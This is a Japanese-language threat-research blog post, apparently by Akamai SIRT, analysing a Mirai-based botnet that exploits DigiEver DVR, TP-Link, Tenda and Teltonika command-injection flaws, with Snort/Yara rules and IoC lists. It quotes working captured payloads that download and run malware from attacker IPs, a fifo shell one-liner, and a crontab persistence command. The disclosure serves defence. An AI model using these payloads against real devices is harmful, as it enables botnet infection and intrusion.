IoT 向けの DigiEver に関する問題とその対処
エグゼクティブサマリー
DigiEver DS-2105 Pro DVR の脆弱性が悪用され、マルウェアが拡散しています。
Akamai Security Intelligence Research Team(SIRT)は 2024 年 11 月 18 日に、ハニーポットにこの動きがあることを察知しました。
この脆弱性は、最初に Ta-Lun Yen 氏によって発見され、CVE ID が Akamai SIRT によって要求されています。
このマルウェアは、より強度の高い暗号化アルゴリズムを使用するように変更された Mirai の変種です。
このブログ記事には、この脅威に対する防御を支援するための脅威の痕跡情報(IoC)のリストが掲載されています。
コンテンツに関する警告:このマルウェアを作った脅威アクターは、一部の人にとって攻撃的と受け取られかねないコンテンツのネーミングを使用しています。このキャンペーンは現在、野放し状態で実行されているため、検知率を高めるためにそのファイル名を編集しませんでした。
はじまりと発見
2024 年 11 月中旬に、 Akamai SIRT は、ハニーポットのグローバルネットワークで URI/cgi-bin/cgi_main.cgi を標的にしたアクティビティの増加を発見しました。このアクティビティは、その始まりが少なくとも 2024 年 10 月にまで遡り、最近まで継続している Mirai ベースのマルウェアキャンペーンの一部と考えられます。
この脆弱性には現時点では CVE 割り当てがありませんが、TXOne Research の Ta-Lun Yen 氏により最初に発見および 公開 されたと見られています。その公開情報で、同氏はこのリモートコード実行(RCE)の脆弱性は、DigiEver DS-2105 Pro モデルを含む複数の DVR デバイスに起因しているとしています。当社のアナリストは、当社が観察した悪用の試みが、この脆弱性調査の公開情報と一致するものと判断しました。
このキャンペーンをさらに調査したところ、少なくとも 2024 年 9 月から活動している「Hail Cock Botnet」と呼ばれる新しいボットネットの存在が明らかになりました。ChaCha20 と XOR の復号化アルゴリズムを組み込んだ Mirai マルウェア の変種を使用して、DigiEver DVR や TP-Link デバイスなどの脆弱な「野良」Internet of Things(モノのインターネット、IoT)デバイスが CVE-2023-1389 により悪用される可能性があります。
脆弱性
DigiEver DVR の脆弱性は、侵入テスト中に露出した IP アドレス範囲を調べた後、TXOne のリサーチャーによって発見されました。Shodan の照会機能を通じて、多くの IP アドレスが、過去最大級に脆弱なデバイス(DVR など)となっている事実を特定することができました。同氏は DigiEver DVR ファームウェアをエミュレートすることができ、/cgi-bin/cgi_main.cgi が CGI エンドポイントの 1 つであることに気づきました(図 1)。
このエンドポイントを通じて、リサーチャーは RCE を達成できました(図 2)。
悪用の活発化
Akamai SIRT は、この URI が 2024 年 11 月 18 日に未知の脅威アクターの標的になり始めたことに気づきました。当社は、ハニーポットで観察したペイロードの構文が、研究論文の概念実証(PoC)と一致することを証明しました(図 3)。
cgiName=time_tzsetup.cgi&page=/cfg_system_time.htm&id=69&ntp=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&ntp1=time.stdtime.gov.tw&ntp2=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&isEnabled=0&timeDiff=+9&ntpAutoSync=1&ntpSyncMode=1&day=0&hour=0&min=0&syncDiff=30
図 3:DigiEver RCE の脆弱性を標的にしたペイロード(URL デコード)
この脆弱性により、ntp パラメーターの引数としてコマンドインジェクションの実行が可能になると考えられます。この例では、Mirai ベースのマルウェアをダウンロードするためにリモート・マルウェアホスティング・サーバーにアクセスしています。これらのセッションは、HTTP Referer ヘッダーは「**IP Address**:80/cfg_system_time.htm」となっており、ポート 80 経由で HTTP POST 要求として送信されてきます。
DigiEver RCE の悪用に加えて、この ボットネット が CVE-2023-1389 などの 他の脆弱性を標的とし、TP-Link デバイスに影響を与えていることも確認しています(図 4)。
GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://45.202.35[.]24/l+-O-|+sh`) HTTP/1.1
Host: localhost:80
User-Agent: Go-http-client/1.1
図 4:CVE-2023-1389 を標的にしたペイロード
ボットネットは、TP-Link Web 管理インターフェース上の /cgi-bin/luci;stok=/locale エンドポイントに存在するこのコマンドインジェクションの脆弱性を悪用して、悪性のシェルスクリプトをダウンロードして実行します。次に、このスクリプトは Mirai マルウェアペイロードをダウンロードし、標的のシステムで実行します(図 5)。
このボットネットは、Tenda HG6 v3.3.0 リモート・コマンド・インジェクションの脆弱性も標的にしています(図 6)。
/boaform/admin/formTracert target_addr=;`rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|wget+http://45.202.35[.]24/b+-O-|+sh+>/tmp/f`&waninf=1_INTERNET_R_VID_
図 6:Tenda HG6 を標的にしたペイロード
これらの脆弱性に加えて、このボットネットは、 CVE-2018-17532などの他の脆弱性を標的にし、Teltonika RUT9XX ルーターに影響を与えていることを観察しました。この脆弱性が悪用されると、wget 要求を介してシェルスクリプトがダウンロードされて実行され、ターゲットマシンにマルウェアをダウンロードして実行するよう追加で要求されます(図 7)。
マルウェア
Akamai が特定したマルウェアサンプルは、x86、ARM、MIPS などのさまざまなアーキテクチャを対象とした Mirai ベースのマルウェアの変種です。これらのサンプルに関して特に興味深いのは、復号化アルゴリズムに XOR と ChaCha20 の両方を使用したことです。
動的解析セクションに表示される文字列の一部(たとえば、「you are now apart of hail cock botnet(あなたは hail cock ボットネットから離れました)」のコンソールへの出力など)は、マルウェアの人間が読める文字列セクションや XOR デコードされた文字列には表示されませんでした。
当社は、日本の 独立系セキュリティリサーチャー が、このマルウェアに関する興味深い調査結果を発表したことを発見しました。彼は、マルウェアがこの文字列を復号化し、文字列をバイナリーのデータセグメントに格納しながら、それをコンソールに表示していることを発見しました(図 8)。
文字列がその出力に割り当てられている場所を確認すると、文字列の復号化関数(FUN_00408500)と文字列の場所(DAT_005166a0)が引数として存在しています。初期化後、次の関数を使用して 2 番目の引数からの暗号化された文字列を処理し、それをメモリーに格納します(図 9)。
関数「FUN_00404960」を調べると、リサーチャーはその最終ステップに XOR 演算が含まれていることを発見しました。定数が利用されて ASCII コードに変換されるセクションでは、関数は文字列「expand 32-byte k」を返します。この文字列は Salsa20 や ChaCha20 などの暗号化アルゴリズムで知られている定数であり、「FUN_00404960」というラベルの付いた関数が復号化を処理していることを示しています(図 10)。
複雑な復号化方法を採用することは目新しいことではありませんが、Mirai ベースのボットネットオペレーターの手口、技法、手順が進化していることを示唆しています。これが主に注目されるのは、Mirai ベースのボットネットの多くが、元の Mirai マルウェア・ソースコード・リリースに含まれていた再利用されたコードからの元の文字列難読化ロジックに依存しているためです。
静的文字列分析から、マルウェアは多くのデフォルトまたは共通の認証情報をさまざまなデバイスに使用して、ボットネットをその他のホストに拡散します。多数の認証情報ペアが、Mirai に付属していた元の認証情報ペアに追加されました。たとえば、「telecomadmin」という文字列がその一例であり、これは、Huawei ONT HG8245H5 ファイバー終端キットのデフォルトのユーザー名で、Realtek チップセットを使用している一部のルーターのデフォルトパスワードです。
サンドボックスの詳細
動的なサンドボックス環境でマルウェアサンプルを実行することで、マルウェアから追加の IoC と注目すべき文字列を特定できました。当社が確認したこのようなふるまいの 1 つに、永続性を維持するために、ドメイン「hailcocks[.]ru」からシェルスクリプトをダウンロードして実行する cron ジョブの作成がありました(図 11)。攻撃対象のホストにいずれのファイルもインストールされていない場合、curl または wget(あるいはその両方)を使用して同じサーバーから「wget.sh」ファイルをダウンロードし互換性を確保しようとします。
sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks[.]ru/wget.sh; curl --output wget.sh http://hailcocks[.]ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
図 11:crontab による永続性
実行時に、マルウェアは一貫して一般的な Mirai Telnet や SSH ブルートフォース のふるまいを続け、より多くの種類のホストに接続しました。また、個別の単一の IP アドレスに接続して、コマンドおよびコントロール(C2)通信用のドメイン「kingstonwikkerink[.]dyn」への A レコードを解決しています。
さらに、このマルウェアに感染したホストでは、マルウェアの実行時にコンソールに固有の文字列が出力されます。旧バージョンのマルウェアでは、「you are now apart of hail cock botnet(あなたは hail cock ボットネットから離れました)」という文字列が出力されます(図 12)。新しいバージョンのマルウェアでは、代わりに文字列「I just wanna look after my cats(私は猫の世話がしたいだけですよ)」が出力されます(図 13)。
結論
サイバー犯罪者は、Mirai マルウェアの伝統を一貫して活用し続けて、数年にわたりボットネットキャンペーンを続けてきました。新たな Hail Cock ボットネットも例外ではありません。脅威アクターが新しいホストを侵害する最も簡単な方法の 1 つは、古くなったファームウェアまたは使われなくなったハードウェアを標的にすることです。約 10 年前に発売された DigiEver DS-2105 Pro がその一例です。ハードウェアの製造元は、使われなくなったデバイスのパッチを常にリリースしているわけではありませんし、製造元そのものが存在しない場合もあります。したがって、セキュリティパッチが入手できず、入手できそうもない状況では、脆弱なデバイスを新しいモデルにアップグレードすることをお勧めします。
IoC
防御を支援するために、IoC のリスト、Snort ルールと Yara ルールを追加しました。
ネットワーク IoC 用の Snort ルール
C2 IP 用の Snort ルール
alert tcp $HOME_NET any -> 154.216.17.126 any (msg:"C2 Comms for Hail Cock Botnet to 154.216.17.126"; flow:to_server,established;)
alert tcp $HOME_NET any -> 154.213.187.50 any (msg:"C2 Comms for Hail Cock Botnet to 154.213.187.50"; flow:to_server,established;)
alert tcp $HOME_NET any -> 86.107.100.80 any (msg:"C2 Comms for Hail Cock Botnet to 86.107.100.80"; flow:to_server,established;)
alert tcp $HOME_NET any -> 213.182.204.57 any (msg:"C2 Comms for Hail Cock Botnet to 213.182.204.57"; flow:to_server,established;)
alert tcp $HOME_NET any -> 195.133.92.51 any (msg:"C2 Comms for Hail Cock Botnet to 195.133.92.51"; flow:to_server,established;)
alert tcp $HOME_NET any -> 185.82.200.181 any (msg:"C2 Comms for Hail Cock Botnet to 185.82.200.181"; flow:to_server,established;)
alert tcp $HOME_NET any -> 81.29.149.178 any (msg:"C2 Comms for Hail Cock Botnet to 81.29.149.178"; flow:to_server,established;)
alert tcp $HOME_NET any -> 88.151.195.22 any (msg:"C2 Comms for Hail Cock Botnet to 88.151.195.22"; flow:to_server,established;)
alert tcp $HOME_NET any -> 91.149.218.232 any (msg:"C2 Comms for Hail Cock Botnet to 91.149.218.232"; flow:to_server,established;)
alert tcp $HOME_NET any -> 91.149.238.18 any (msg:"C2 Comms for Hail Cock Botnet to 91.149.238.18"; flow:to_server,established;)
alert tcp $HOME_NET any -> 31.13.248.89 any (msg:"C2 Comms for Hail Cock Botnet to 31.13.248.89"; flow:to_server,established;)
alert tcp $HOME_NET any -> 193.233.193.45 any (msg:"C2 Comms for Hail Cock Botnet to 193.233.193.45"; flow:to_server,established;)
alert tcp $HOME_NET any -> 194.87.198.29 any (msg:"C2 Comms for Hail Cock Botnet to 194.87.198.29"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.202.35.91 any (msg:"C2 Comms for Hail Cock Botnet to 45.202.35.91"; flow:to_server,established;)
alert tcp $HOME_NET any -> 104.37.188.76 any (msg:"C2 Comms for Hail Cock Botnet to 104.37.188.76"; flow:to_server,established;)
alert tcp $HOME_NET any -> 95.214.53.205 any (msg:"C2 Comms for Hail Cock Botnet to 95.214.53.205"; flow:to_server,established;)
alert tcp $HOME_NET any -> 5.35.104.31 any (msg:"C2 Comms for Hail Cock Botnet to 5.35.104.31"; flow:to_server,established;)
alert tcp $HOME_NET any -> 149.50.106.25 any (msg:"C2 Comms for Hail Cock Botnet to 149.50.106.25"; flow:to_server,established;)
alert tcp $HOME_NET any -> 141.98.11.79 any (msg:"C2 Comms for Hail Cock Botnet to 141.98.11.79"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.202.35.24 any (msg:"C2 Comms for Hail Cock Botnet to 45.202.35.24"; flow:to_server,established;)
alert tcp $HOME_NET any -> 5.39.254.71 any (msg:"C2 Comms for Hail Cock Botnet to 5.39.254.71"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.126.50.101 any (msg:"C2 Comms for Hail Cock Botnet to 45.126.50.101"; flow:to_server,established;)
C2 ドメイン解決検知用の Snort ルール
alert tcp $HOME_NET any -> hailcocks.ru any (msg:"BLOCK Connection to malicious domain - hailcocks.ru"; flow:to_server,established; sid:1000010; rev:1;)
alert tcp $HOME_NET any -> kingstonwikkerink.dyn any (msg:"BLOCK Connection to malicious domain - kingstonwikkerink.dyn"; flow:to_server,established; sid:1000011; rev:1;)
alert tcp $HOME_NET any -> catvision.dyn any (msg:"BLOCK Connection to malicious domain - catvision.dyn"; flow:to_server,established; sid:1000012; rev:1;)
alert tcp $HOME_NET any -> hikvision.geek any (msg:"BLOCK Connection to malicious domain - hikvision.geek"; flow:to_server,established; sid:1000013; rev:1;)
alert tcp $HOME_NET any -> shitrocket.dyn any (msg:"BLOCK Connection to malicious domain - shitrocket.dyn"; flow:to_server,established; sid:1000014; rev:1;)
alert tcp $HOME_NET any -> catlovingfools.geek any (msg:"BLOCK Connection to malicious domain - catlovingfools.geek"; flow:to_server,established; sid:1000015; rev:1;)
マルウェアサンプル用の Yara ルール
rule hailcock_malware
{
strings:
$someoffdeeznuts = "someoffdeeznuts"
$ip_address = { 154.213.187.50 }
condition:
any of them
}
rule malware_hashes
{
strings:
$hash_1 = "3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615"
$hash_2 = "0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad"
$hash_3 = "b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af"
$hash_4 = "dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02"
$hash_5 = "a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41"
condition:
any of them
}
rule malicious_domains
{
strings:
$hailcocks = "hailcocks.ru"
$kingstonwikkerink = "kingstonwikkerink.dyn"
$catvision = "catvision.dyn"
$catloving = "catlovingfools.geek"
$hikvision = "hikvision.dyn"
$shitrocket = "shitrocket.dyn"
condition:
any of them
}
過去のインフラの IPv4 アドレス
154.216.17.126
154.213.187.50
86.107.100.80
213.182.204.57
195.133.92.51
185.82.200.181
81.29.149.178
88.151.195.22
91.149.218.232
91.149.238.18
31.13.248.89
193.233.193.45
194.87.198.29
45.202.35.91
104.37.188.76
95.214.53.205
5.35.104.31
149.50.106.25
141.98.11.79
45.202.35.24
5.39.254.71
45.125.66.90
91.132.50.181
C2 のドメインおよびマルウェア配布エンドポイント
hailcocks[.]ru
kingstonwikkerink[.]dyn
catvision[.]dyn
shitrocket[.]dyn
catlovingfools[.]geek
hikvision[.]geek
SHA256 ハッシュ
3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615
0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad
b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af
dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02
a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41
31813bb69e10b636c785358ca09d7f91979454dc6fc001f750bf03ad8bde8fe5